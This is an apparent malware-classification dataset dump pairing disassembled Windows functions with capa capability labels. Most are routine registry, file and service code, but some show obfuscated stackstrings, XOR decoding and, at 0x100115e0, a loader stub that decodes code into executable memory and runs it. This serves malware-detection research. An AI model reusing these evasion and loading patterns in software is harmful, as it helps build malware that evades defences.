joyce8/EMBER2024-capa huggingface dataset:
Function at 0x408696
Capabilities:
Query or enumerate registry key
Query or enumerate registry value
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x2b4]
sub esp, 0x334
mov eax, dword [0x449e30]
xor eax, ebp
mov dword [ebp + 0x2b0], eax
push ebx
push esi
push edi
mov esi, 0x104
xor ebx, ebx
push esi
lea eax, [ebp + 0x1a9]
push ebx
push eax
mov dword [ebp - 0x7c], ecx
mov byte [ebp + 0x1a8], bl
call fcn.00421170
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
add esp, 0xc
lea eax, [ebp - 0x6c]
push eax
push 0x20019
push ebx
push str.SOFTWAREDigitalPersonaProducts
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x78], ebx
mov dword [ebp - 0x70], ebx
mov dword [ebp - 0x6c], ebx
call edi
test eax, eax
jne 0x408833
push esi
lea eax, [ebp + 0xa1]
push ebx
push eax
mov byte [ebp + 0xa0], bl
call fcn.00421170
add esp, 0xc
push esi
lea eax, [ebp + 0xa0]
push eax
push ebx
jmp 0x408819
push esi
lea eax, [ebp - 0x67]
push ebx
push eax
mov byte [ebp - 0x68], bl
call fcn.00421170
add esp, 0xc
lea eax, [ebp - 0x74]
push eax
push 0x20019
push ebx
lea eax, [ebp + 0xa0]
push eax
push dword [ebp - 0x6c]
mov dword [ebp - 0x74], ebx
call edi
cmp eax, ebx
jne 0x4087b0
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x68]
push eax
push ebx
push ebx
push 0x4387d8
push dword [ebp - 0x74]
mov dword [ebp - 0x80], esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
cmp eax, ebx
jne 0x408786
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp + 0xa0]
push eax
push str.Product:__s__Version:__s_r_n
jmp 0x408793
push eax
lea eax, [ebp + 0xa0]
push eax
push str.Product:__s__Version:_ERROR_0x_X__r_n
push 0xffffffffffffffff
lea eax, [ebp + 0x1a8]
push esi
push eax
call fcn.00423b51
add esp, 0x18
push dword [ebp - 0x74]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x4087cf
push eax
lea eax, [ebp + 0xa0]
push eax
push str.Product:__s_ERROR_0x_X__r_n
push 0xffffffffffffffff
lea eax, [ebp + 0x1a8]
push esi
push eax
call fcn.00423b51
add esp, 0x18
push 3
lea eax, [ebp + 0x2aa]
push 0x438778
push eax
call fcn.00423c30
add esp, 0xc
push ebx
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp + 0x1a8]
push eax
call fcn.00421a80
pop ecx
push eax
lea eax, [ebp + 0x1a8]
push eax
mov eax, dword [ebp - 0x7c]
push dword [eax + 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
inc dword [ebp - 0x70]
push esi
lea eax, [ebp + 0xa0]
push eax
push dword [ebp - 0x70]
push dword [ebp - 0x6c]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
test eax, eax
je 0x408727
push dword [ebp - 0x6c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp + 0x2b0]
mov eax, dword [ebp - 0x70]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004217ad
add ebp, 0x2b4
leave
ret
Function at 0x40884e
Capabilities:
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0xa4]
sub esp, 0x124
mov eax, dword [0x449e30]
xor eax, ebp
mov dword [ebp + 0xa0], eax
push ebx
push esi
push edi
xor eax, eax
xor ebx, ebx
mov word [ebp - 0x78], bx
lea edi, [ebp - 0x76]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x78]
push eax
mov dword [ebp - 0x7c], ecx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov esi, 0x104
push esi
lea eax, [ebp - 0x67]
push ebx
push eax
mov byte [ebp - 0x68], bl
call fcn.00421170
movzx eax, word [ebp - 0x6a]
push eax
movzx eax, word [ebp - 0x6c]
push eax
movzx eax, word [ebp - 0x6e]
push eax
movzx eax, word [ebp - 0x70]
push eax
movzx eax, word [ebp - 0x78]
push eax
movzx eax, word [ebp - 0x72]
push eax
movzx eax, word [ebp - 0x76]
push eax
push str._02d__02d__04d__02d:_02d:_02d._03d_r_n
push 0xffffffffffffffff
lea eax, [ebp - 0x68]
push esi
push eax
call fcn.00423b51
add esp, 0x38
push ebx
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x68]
push eax
mov dword [ebp - 0x80], ebx
call fcn.00421a80
pop ecx
push eax
lea eax, [ebp - 0x68]
push eax
mov eax, dword [ebp - 0x7c]
push dword [eax + 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [ebp + 0xa0]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004217ad
add ebp, 0xa4
leave
ret
Function at 0x40890e
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov eax, dword [0x449e30]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 0x40], esi
call fcn.00423fa0
and dword [ebp - 0x38], 0
xor eax, eax
lea edi, [ebp - 0x34]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov ebx, esp
stosd dword es:[edi], eax
mov edi, dword [ebp + 0xc]
push 0x10
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x38]
push eax
mov dword [ebp - 0x44], ebx
mov byte [ebp - 0x14], 0x62
mov byte [ebp - 0x13], 0xb
mov byte [ebp - 0x12], 5
mov byte [ebp - 0x11], 0x3d
mov byte [ebp - 0x10], 0xfe
mov byte [ebp - 0xf], 0xc
mov byte [ebp - 0xe], 0xe4
mov byte [ebp - 0xd], 0xe5
mov byte [ebp - 0xc], 0x1f
mov byte [ebp - 0xb], 0x4d
mov byte [ebp - 0xa], 9
mov byte [ebp - 9], 0x4b
mov byte [ebp - 8], 1
mov byte [ebp - 7], 0x49
mov byte [ebp - 6], 0xdf
mov byte [ebp - 5], 0x11
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x20], 0x35096523
mov dword [ebp - 0x1c], 0x78688051
call fcn.00423c30
xor dword [ebp - 0x38], 0x23650935
xor dword [ebp - 0x34], 0x79642590
xor dword [ebp - 0x30], 0x51806878
xor dword [ebp - 0x2c], 0x91341639
add esp, 0xc
test edi, edi
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x24], ebx
je 0x408a77
mov ebx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
xor edx, edx
cmp ebx, 8
jle 0x4089e3
push 8
pop ebx
mov dword [ebp - 0x3c], 0x20
mov esi, ecx
sar esi, 5
add esi, dword [ebp - 0x34]
mov edi, ecx
shl edi, 4
add edi, dword [ebp - 0x38]
sub edx, 0x61c88647
xor esi, edi
lea edi, [edx + ecx]
xor esi, edi
add eax, esi
mov esi, eax
sar esi, 5
add esi, dword [ebp - 0x2c]
mov edi, eax
shl edi, 4
add edi, dword [ebp - 0x30]
xor esi, edi
lea edi, [edx + eax]
xor esi, edi
add ecx, esi
dec dword [ebp - 0x3c]
jne 0x4089ea
mov dword [ebp - 0x1c], ecx
xor ecx, ecx
test ebx, ebx
mov dword [ebp - 0x20], eax
jle 0x408a51
mov esi, dword [ebp - 0x28]
mov edi, dword [ebp - 0x24]
lea eax, [ebp - 0x20]
sub esi, eax
sub edi, eax
lea eax, [ebp + ecx - 0x20]
mov dl, byte [esi + eax]
xor dl, byte [eax]
inc ecx
cmp ecx, ebx
mov byte [edi + eax], dl
jl 0x408a40
push ebx
push dword [ebp - 0x24]
lea eax, [ebp - 0x20]
push eax
call fcn.00423c30
sub dword [ebp - 0x18], ebx
add dword [ebp - 0x28], ebx
add dword [ebp - 0x24], ebx
add esp, 0xc
cmp dword [ebp - 0x18], 0
jne 0x4089d0
mov esi, dword [ebp - 0x40]
push dword [ebp + 0xc]
push dword [ebp - 0x44]
push esi
call fcn.00423c30
add esp, 0xc
lea esp, [ebp - 0x50]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004217ad
leave
ret 8

Function at 0x408b17
Capabilities:
Access the windows event log

Disassembly:
push esi
push dword [esp + 0xc]
mov esi, ecx
push dword [esp + 0xc]
xor eax, eax
mov dword [esi], eax
mov dword [esi + 8], eax
mov dword [esi + 4], eax
call dword [sym.imp.ADVAPI32.dll_OpenEventLogW]
mov dword [esi + 8], eax
mov eax, esi
pop esi
ret 8
Function at 0x408bd8
Capabilities:
Check mutex on windows

Disassembly:
push esi
push dword [esp + 8]
mov esi, ecx
push 0
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
test eax, eax
mov dword [esi], eax
jne 0x408bfe
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.004014cf
pop ecx
push 0xffffffffffffffff
push dword [esi]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, esi
pop esi
ret 8
Function at 0x40aa56
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
mov edi, ecx
mov eax, dword [edi + 4]
cmp eax, 0xffffffff
je 0x40aaa2
push esi
push 2
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov esi, dword [ebp + 8]
movzx eax, word [esi + 5]
test ax, ax
je 0x40aa8e
movzx eax, ax
lea ecx, [esi + 7]
push eax
push ecx
mov ecx, edi
call fcn.0040890e
push 0
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push esi
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
pop edi
leave
ret 0xc

Function at 0x40b7f2
Capabilities:
Set registry value

Disassembly:
push 4
lea eax, [esp + 0xc]
push eax
push 4
push 0
push dword [esp + 0x14]
push dword [ecx]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
ret 8

Function at 0x40c769
Capabilities:
Create directory

Disassembly:
push 0xc
mov eax, 0x432f03
call fcn.00421825
xor eax, eax
cmp ebx, eax
je 0x40c85e
cmp word [ebx], ax
je 0x40c85e
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], eax
push ebx
call fcn.00421a5c
mov esi, eax
add esi, 0xa
lea edi, [esi + esi]
cmp edi, 0x400
pop ecx
ja 0x40c7bb
push edi
call fcn.00409cab
test al, al
pop ecx
je 0x40c7bb
mov eax, edi
call fcn.00423fa0
mov edi, esp
jmp 0x40c7c6
push edi
lea ecx, [ebp - 0x14]
call fcn.0040b594
mov edi, eax
test edi, edi
jne 0x40c7e2
mov esi, 0x8007000e
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call fcn.004099aa
mov eax, esi
jmp 0x40c863
push 0xffffffffffffffff
push ebx
push esi
push edi
call fcn.00423903
lea eax, [ebp - 0x18]
push eax
mov esi, 0x438650
push esi
push edi
call fcn.0042437d
add esp, 0x1c
test eax, eax
je 0x40c84e
push edi
call fcn.0040c65f
test al, al
pop ecx
jne 0x40c81b
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x40c836
lea eax, [ebp - 0x18]
push eax
push esi
push 0
call fcn.0042437d
add esp, 0xc
test eax, eax
je 0x40c84e
mov word [eax - 2], 0x5c
jmp 0x40c803
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jle 0x40c84a
and eax, 0xffff
or eax, 0x80070000
mov esi, eax
jmp 0x40c7cf
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call fcn.004099aa
xor eax, eax
jmp 0x40c863
mov eax, 0x80070057
lea esp, [ebp - 0x28]
call fcn.004218a8
ret
Function at 0x40f3c0
Capabilities:
Compare security identifiers

Disassembly:
push ebp
sub esp, 0xf0
lea ebp, [esp - 4]
mov eax, dword [0x449e30]
xor eax, ebp
mov dword [ebp + 0xf0], eax
push 8
mov eax, 0x433593
call fcn.004217bc
mov esi, ecx
xor ebx, ebx
lea ecx, [ebp]
mov dword [ebp - 0x14], ebx
call fcn.0040e614
mov dword [ebp - 4], ebx
push 2
mov ecx, esi
call fcn.00408d62
mov esi, eax
cmp esi, ebx
jne 0x40f40f
push 0x80004003
call fcn.00420860
cmp dword [esi], ebx
mov dword [ebp - 0x10], ebx
jbe 0x40f464
lea edi, [esi + 4]
push ebx
push dword [edi]
lea ecx, [ebp + 0x78]
call fcn.0040e465
mov byte [ebp - 4], 1
push dword [ebp]
push dword [ebp + 0x78]
call dword [sym.imp.ADVAPI32.dll_EqualSid]
test eax, eax
jne 0x40f452
mov byte [ebp - 4], bl
lea ecx, [ebp + 0x78]
call fcn.0040e575
inc dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
add edi, 8
cmp eax, dword [esi]
jb 0x40f419
jmp 0x40f464
mov dword [ebp - 0x14], 1
mov byte [ebp - 4], bl
lea ecx, [ebp + 0x78]
call fcn.0040e575
push esi
call fcn.00421949
pop ecx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp]
call fcn.0040e7c0
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0xf0]
xor ecx, ebp
call fcn.004217ad
add ebp, 0xf4
leave
ret

Function at 0x40f4e5
Capabilities:
Compare security identifiers

Disassembly:
push ebp
sub esp, 0xf0
lea ebp, [esp - 4]
mov eax, dword [0x449e30]
xor eax, ebp
mov dword [ebp + 0xf0], eax
push 8
mov eax, 0x4335cb
call fcn.004217ef
xor ebx, ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 4], ebx
lea ecx, [ebp]
call fcn.0040e732
mov byte [ebp - 4], 1
lea ecx, [ebp + 0x78]
call fcn.0040e5da
mov byte [ebp - 4], 2
push dword [ebp + 0x78]
push dword [ebp]
call dword [sym.imp.ADVAPI32.dll_EqualSid]
mov dword [ebp - 0x14], eax
mov byte [ebp - 4], 1
lea ecx, [ebp + 0x78]
call fcn.0040e7c0
mov byte [ebp - 4], bl
lea ecx, [ebp]
call fcn.0040e575
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0xf0]
xor ecx, ebp
call fcn.004217ad
add ebp, 0xf4
leave
ret
Function at 0x4131a5
Capabilities:
Accept command line arguments

Disassembly:
push 0x74
mov eax, 0x433f54
call fcn.00421825
mov esi, dword [ebp + 8]
xor edi, edi
push edi
push str.WinMain
lea ecx, [ebp - 0x78]
call fcn.004107dc
mov dword [ebp - 4], edi
push str.DPHost_is_starting..._First_line_of_code.
lea eax, [ebp - 0x78]
push edi
push eax
call fcn.00410918
add esp, 0xc
call fcn.00411a67
cmp eax, 0x80
jae 0x4131f4
push str.Update_your_cryptography_first_
push 0x83
call fcn.00410fda
push esi
mov esi, 0x44b120
push 0x449390
mov ecx, esi
call fcn.00411cf2
mov dword [ebp - 0x80], edi
mov dword [ebp - 0x7c], edi
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov edi, 0x439b90
push edi
push eax
jmp 0x413269
push dword [0x44938c]
call fcn.00421a5c
push eax
push dword [0x44938c]
push ebx
call fcn.00424d15
add esp, 0x10
test eax, eax
jne 0x413241
mov dword [ebp - 0x80], 1
push dword [0x4493d8]
call fcn.00421a5c
push eax
push dword [0x4493d8]
push ebx
call fcn.00424d15
add esp, 0x10
test eax, eax
jne 0x413267
mov dword [ebp - 0x7c], 1
push edi
push ebx
call fcn.00408b93
mov ebx, eax
test ebx, ebx
pop ecx
pop ecx
jne 0x41321b
xor edi, edi
cmp dword [ebp - 0x7c], edi
je 0x413286
mov ecx, esi
call fcn.00412335
mov edi, eax
cmp dword [ebp - 0x80], 0
je 0x4132d6
mov ecx, esi
mov dword [ebp - 0x7c], 1
call fcn.00412175
push eax
push str._Module.UnregisterService___hr0x_X
lea eax, [ebp - 0x78]
push 0
push eax
call fcn.00410918
add esp, 0x10
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, esi
call fcn.00411de5
mov edi, eax
push edi
push str._Module.RegisterServer___hr0x_X
lea eax, [ebp - 0x78]
push 0
push eax
call fcn.00410918
add esp, 0x10
cmp dword [ebp - 0x7c], 0
jne 0x41330c
push str.Real_start
lea eax, [ebp - 0x78]
push 0
push eax
call fcn.00410918
add esp, 0xc
mov ecx, esi
call fcn.004130a9
mov edi, eax
push edi
push str._Module.Start___hr0x_X
lea eax, [ebp - 0x78]
push 0
push eax
call fcn.00410918
add esp, 0x10
mov ecx, esi
call fcn.004110a0
push str.DPHost_stopped
lea eax, [ebp - 0x78]
push 0
push eax
call fcn.00410918
add esp, 0xc
push edi
push 0x4376ce
lea ecx, [ebp - 0x78]
call fcn.00410b8f
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x78]
call fcn.00410891
mov eax, edi
call fcn.004218a8
ret 0x10

Function at 0x418c1d
Capabilities:
Compare security identifiers

Disassembly:
push dword [esp + 4]
push dword [ecx]
call dword [sym.imp.ADVAPI32.dll_EqualSid]
neg eax
sbb eax, eax
inc eax
ret 4
Function at 0x42000e
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sahf
and byte [ebp - 0x6dc], 0
and byte [ebp - 0x6db], 0
mov byte [ebp - 0x6da], 0x2c
and byte [ebp - 0x6d9], 0
mov byte [ebp - 0x6d8], 0x81
mov byte [ebp - 0x6d7], 0xb6
mov byte [ebp - 0x6d6], 0xb2
mov byte [ebp - 0x6d5], 0xb7
push dword [edi - 0x6d37a3a]
invalid
call dword [ebp - 0x6d27a3a]
invalid
invalid
mov edx, 0xf92e85c6
invalid
invalid
mov edi, 0xf92f85c6
invalid
push dword [esi - 0x6cf7a3a]
invalid
call ebx
call fcn.0041ecfa
xchg ebx, eax
add ah, dh
dec esi
lea eax, [ebp - 0x6dc]
push eax
call fcn.0041ed0a
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.0041ecbf
add esp, 0xc
mov dword [ebp - 0x6c8], eax
push 0
lea eax, [ebp - 0x6e0]
push eax
push dword [ebp - 0x378]
push dword [ebp - 4]
push dword [ebp - 0x66c]
call dword [ebp - 0x6c8]
mov dword [ebp - 0x6cc], eax
push dword [ebp - 0x66c]
call dword [ebp - 0x680]
cmp dword [ebp - 0x6cc], 0
je 0x420e8d
push 5
mov eax, dword [ebp - 0x378]
mov ecx, dword [ebp - 4]
lea eax, [ecx + eax - 0x1d]
push eax
lea eax, [ebp - 0x394]
push eax
call fcn.0041ec6b
add esp, 0xc
and dword [ebp - 0x700], 0
jmp 0x420107
mov eax, dword [ebp - 0x700]
inc eax
mov dword [ebp - 0x700], eax
cmp dword [ebp - 0x700], 5
jge 0x420150
mov eax, dword [ebp - 0x700]
movsx eax, byte [ebp + eax - 0x394]
movsx ecx, byte [ebp - 0x24]
xor eax, ecx
mov ecx, dword [ebp - 0x700]
mov byte [ebp + ecx - 0x394], al
mov eax, dword [ebp - 0x700]
movsx eax, byte [ebp + eax - 0x394]
not eax
mov ecx, dword [ebp - 0x700]
mov byte [ebp + ecx - 0x394], al
jmp 0x4200fa
call fcn.0041ecfa
sub ch, byte [ebx + esi*4 - 0x33]
and byte [ebp - 0x72c], 0
invalid
inc dword [eax]
and byte [ebp - 0x72b], 0
mov byte [ebp - 0x72a], 0xc2
and byte [ebp - 0x729], 0
mov byte [ebp - 0x728], 0x6b
mov byte [ebp - 0x727], 0x54
mov byte [ebp - 0x726], 0x4f
mov byte [ebp - 0x725], 0x49
mov byte [ebp - 0x724], 0x48
mov byte [ebp - 0x723], 0x5c
mov byte [ebp - 0x722], 0x51
mov byte [ebp - 0x721], 0x6d
mov byte [ebp - 0x720], 0x4f
mov byte [ebp - 0x71f], 0x52
mov byte [ebp - 0x71e], 0x49
mov byte [ebp - 0x71d], 0x58
mov byte [ebp - 0x71c], 0x5e
mov byte [ebp - 0x71b], 0x49
mov byte [ebp - 0x71a], 0x3d
call fcn.0041ecfa
mov byte [0x8dfa8918], al
test esp, edx
clc
invalid

Function at 0x4217ad
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x449e30]
jne 0x4217b7
repz ret
jmp fcn.00426f0c
Function at 0x42c6cf
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.0042695b
xor ebx, ebx
cmp dword [0x44bcc0], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
jne 0x42c7a4
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
jne 0x42c70f
xor eax, eax
jmp 0x42c868
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x42c708
push eax
call fcn.004268f8
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x44bcc0], eax
call esi
push eax
call fcn.004268f8
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x44bcc4], eax
call esi
push eax
call fcn.004268f8
mov dword [0x44bcc8], eax
lea eax, [ebp - 8]
push eax
call fcn.00428c81
test eax, eax
pop ecx
pop ecx
je 0x42c772
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0042527f
add esp, 0x14
cmp dword [ebp - 8], 2
jne 0x42c7a4
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.004268f8
cmp eax, ebx
pop ecx
mov dword [0x44bcd0], eax
je 0x42c7a4
push 0x43cc54
push edi
call esi
push eax
call fcn.004268f8
pop ecx
mov dword [0x44bccc], eax
mov eax, dword [0x44bccc]
mov esi, dword [ebp - 0x10]
cmp eax, esi
je 0x42c81d
cmp dword [0x44bcd0], esi
je 0x42c81d
push eax
call fcn.00426964
pop ecx
call eax
cmp eax, ebx
je 0x42c7ea
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
push dword [0x44bcd0]
call fcn.00426964
pop ecx
call eax
test eax, eax
je 0x42c7ea
test byte [ebp - 0x18], 1
jne 0x42c81d
lea eax, [ebp - 0xc]
push eax
call fcn.00428cb8
test eax, eax
pop ecx
je 0x42c805
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0042527f
add esp, 0x14
cmp dword [ebp - 0xc], 4
jb 0x42c814
or dword [ebp + 0x10], 0x200000
jmp 0x42c84e
or dword [ebp + 0x10], 0x40000
jmp 0x42c84e
mov eax, dword [0x44bcc4]
cmp eax, esi
je 0x42c84e
push eax
call fcn.00426964
pop ecx
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x42c84e
mov eax, dword [0x44bcc8]
cmp eax, esi
je 0x42c84e
push dword [ebp - 4]
push eax
call fcn.00426964
pop ecx
call eax
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [0x44bcc0]
call fcn.00426964
pop ecx
call eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4015a0
Capabilities:
Terminate process

Disassembly:
call fcn.00401940
jmp fcn.004012d0

Function at 0x4015b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x403008]
jne 0x4015ba
repz ret
jmp fcn.004019f0
Function at 0x1000b6d5
Capabilities:
Get common file path

Disassembly:
sub esp, 0x108
mov eax, dword [0x1001ff00]
xor eax, esp
mov dword [esp + 0x104], eax
push ebp
push esi
push edi
mov edi, dword [esp + 0x118]
lea eax, [esp + 0xc]
mov ebp, 0x104
xor esi, esi
push ebp
push eax
call dword [sym.imp.kernel32.dll_GetSystemDirectoryA]
test eax, eax
je 0x1000b738
lea eax, [esp + 0xc]
push 0x10017e60
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
lea eax, [esp + 0x14]
push edi
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
add esp, 0x10
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.kernel32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
jne 0x1000b772
push ebp
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.kernel32.dll_GetWindowsDirectoryA]
test eax, eax
je 0x1000b772
lea eax, [esp + 0xc]
push 0x10017e60
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
lea eax, [esp + 0x14]
push edi
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
add esp, 0x10
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.kernel32.dll_LoadLibraryA]
mov esi, eax
mov ecx, dword [esp + 0x110]
mov eax, esi
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.10014785
add esp, 0x108
ret

Function at 0x100115e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x100115ef
pop dword [ebp - 0x10]
mov eax, 0x5c5e6a01
add eax, 0xb3a2abee
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0x7f516918
add dword [ebp - 0x20], 0xcf00dc33
mov dword [ebp - 0x1c], 0xa4427aba
add dword [ebp - 0x1c], 0x8df0d18b
mov dword [ebp - 0x18], 0x583fc87f
sub dword [ebp - 0x18], 0xbf38451
mov dword [ebp - 0x14], 0x5d675e47
add dword [ebp - 0x14], 0xa298a1b9
lea eax, [ebp - 0x20]
push eax
mov eax, 0xa482dc80
sub eax, 0x94817c20
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0x6baf8d59
sub dword [ebp - 0x20], 0xf73d2403
mov dword [ebp - 0x1c], 0x6651de6d
sub dword [ebp - 0x1c], 0x24e57cf8
mov dword [ebp - 0x18], 0x89b9086a
add dword [ebp - 0x18], 0xd9b66402
mov dword [ebp - 0x14], 0x21db5110
add dword [ebp - 0x14], 0xde24aef0
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x3991e
push 0
call eax
mov ecx, 0x612670c3
add ecx, 0x9ed9dbff
xor edx, edx
add edx, eax
mov edi, 0x69945f79
add edi, 0xa66dd687
add edi, dword [ebp - 0x10]
mov esi, 0x6eb44959
sub esi, 0x58ffa71
add dword [ebp - 4], edx
mov ebx, dword [edi]
sub dword [ebp - 0xc], 0xd34d6f0
xor ebx, esi
xor dword [ebp - 8], edi
mov dword [edx], ebx
sub dword [ebp - 0xc], ecx
add edx, 0x1fe6989c
add edx, 0xe0196768
add edi, 0x843246cf
sub edi, 0x843246cb
loop 0x1001170e
add eax, 0xc4322126
sub eax, 0xc430fb4b
xor ebx, ebx
add ebx, eax
add eax, 0x57626ee0
add eax, 0xa89d9125
mov ecx, 0x10000000
add ecx, dword [ebp - 0x10]
call ebx
leave
ret